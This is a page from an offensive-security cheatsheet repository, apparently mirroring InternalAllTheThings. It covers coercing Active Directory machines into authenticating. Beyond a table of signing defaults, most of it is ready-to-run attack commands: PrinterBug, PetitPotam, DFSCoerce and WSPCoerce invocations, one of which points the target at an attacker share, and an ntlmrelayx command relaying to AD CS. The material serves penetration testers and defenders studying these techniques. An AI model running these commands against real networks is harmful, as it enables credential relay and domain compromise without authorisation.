repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
internal-relay-coerce.mdMarkdown161 lines7.6 KiBsource raw download

title: "Internal - Coerce" section: "Active Directory" sectionSlug: "active-directory" sourcePath: "docs/active-directory/internal-relay-coerce.md" sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/internal-relay-coerce.md" sha: "203bb0c0b290" isIndex: false#

Internal - Coerce#

Coerce refers to forcing a target machine (usually with SYSTEM privileges) to authenticate to another machine.

Signing#

Server Side Signing#

Operating System SMB Signing LDAP Signing
Windows Server 2019 DC ✅ ❌
Windows Server 2022 DC pre 23H2 ✅ ❌
Windows Server 2022 DC 23H2 ✅ ✅
Windows Server 2025 DC ✅ ✅
Windows Server 2019 Member ❌ -
Windows Server 2022 Member ❌ -
Windows Server 2025 Member ❌ -
Windows 10 ❌ -
Windows 11 23H2 ❌ -
Windows 11 24H2 ✅ -

EPA#

uv run relayinformer mssql --target 10.10.10.10 --user USER --password PASSWORD
uv run relayinformer http --url http://10.10.10.10/page --user USER --password PASSWORD
uv run relayinformer ldap --method BOTH --dc-ip 10.10.10.10 --user USER --password PASSWORD
uv run relayinformer ldap --method LDAPS --dc-ip 10.10.10.10 --user USER --password PASSWORD
EPA Values Description
Disabled / Never You should generally be able to target with NTLM relay, regardless of the client's support for EPA or version of NTLM being used.
Allowed / Accepted / When Supported You can theoretically conduct an NTLM relay but common relay scenarios will not work because standard coercion / poisoning techniques (mentioned above) will result in the addition of EPA-relevant AV pairs, indicating the client’s support for EPA.
Required NTLM relay should be prevented by validation of values provided in EPA-relevant AV pairs.

WebClient Service#

Enable WebClient:

WebClient service can be enabled on the machine using several techniques:

Check if the WebDav service is running

nxc smb <ip> -u 'user' -p 'pass' -M webdav

MS-RPRN - PrinterBug#

Tools:

Examples:

poetry run nxc smb 10.10.10.10/24 -u username -p password -M coerce_plus -o METHOD=PrinterBug

Checking if the Spooler Service is running.

nxc smb <ip> -u 'user' -p 'pass' -M spooler

MS-EFSR - PetitPotam#

The tools use the LSARPC named pipe with interface c681d488-d850-11d0-8c52-00c04fd90f7e because it's more prevalent. But it's possible to trigger with the EFSRPC named pipe and interface df1941c5-fe89-4e79-bf10-463657acf44d.

Tools:

Examples:

poetry run nxc smb 10.10.10.10/24 -u username -p password -M coerce_plus -o METHOD=PetitPotam

MS-DFSNM - DFS Coercion#

DFS Coerce (MS-DFSNM abuse) is a technique to force a Windows system to authenticate to an attacker-controlled machine by abusing the DFS Namespace Management RPC interface.

Tools:

Examples:

python3 dfscoerce.py -u username -d domain.local 10.10.10.10 10.10.10.11
poetry run nxc smb 10.10.10.10/24 -u username -p password -M coerce_plus -o METHOD=DFSCoerce

MS-WSP - WSP Coercion#

Tools:

Examples:

WSPCoerce.exe <target> <listener>
WSPCoerce.exe labsw1 172.23.10.109
WSPCoerce.exe labsw1 labsrv1

wspcoerce 'lab.redteam/rtpttest:test1234!@192.0.2.115' "file:////attacksystem/share"
ntlmrelayx.py -t "http://192.0.2.5/certsrv/" -debug -6 -smb2support --adcs

References#